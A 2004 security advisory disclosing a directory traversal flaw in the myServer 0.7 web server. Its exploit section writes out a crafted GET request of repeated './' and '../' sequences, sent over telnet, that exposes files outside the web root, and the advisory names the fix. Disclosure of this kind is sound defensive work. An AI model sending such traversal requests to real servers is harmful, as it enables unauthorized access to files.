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myServer 0.7 Directory Traversal Vulnerability
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Overview
myServer version 0.7 shows files and directories that reside outside the normal web root directory.
Discovered on 2004, September 07th
Vendor: Myserver
MyServer is a free, powerful web server program designed to be easily run on a personal computer by the average computer user.
It is a multithread application and supports HTTP, CGI, ISAPI, WinCGI and FastCGI protocols.
It is available on Windows and Linux Operating Systems.
This web server can shows file and directory content that reside outside the normal web root directory.
Risk
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Details
The vulnerability can be done using telnet. You just have to send a specially crafted dot-dot URL to retreive any file outside of the root directory.
Exploit
Connect to the victim on port 80 with telnet. Then sent a
"GET ././././././././././././././././././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../"
Now you got the root directory of the web server :
Solution
The vendor has been informed and has solved the problem.
Download MyServer 0.7.1 or superior.
Discovered by
Arnaud Jacques aka scrap
webmaster@securiteinfo.com
http://www.securiteinfo.com
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